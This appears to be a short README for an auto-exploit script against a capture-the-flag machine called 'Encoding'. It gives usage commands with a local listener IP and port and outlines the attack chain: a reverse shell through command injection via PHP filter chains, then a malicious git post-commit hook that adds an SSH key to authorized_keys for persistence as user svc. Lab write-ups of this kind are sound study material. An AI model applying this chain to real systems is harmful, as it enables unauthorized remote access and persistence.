python3 encoding_autopwn.py -l <local_IP> -p <local_port>
python3 encoding_autopwn.py -lhost <local_IP> -lport <local_port>
Example:
python3 encoding_autopwn.py -l 10.10.14.29 -p 4444
- Create a reverse shell hitting and endpoint vulnerable to command injection through PHP Filter chains
- Add a new
post-commit
hook to the.git
folder to add a new .ssh key to the authorized_keys file - Commit using the script that is inside the
Encoding
box assvc
user - Then we can login as
svc
user using the new ssh key through SSH - Grab the user flag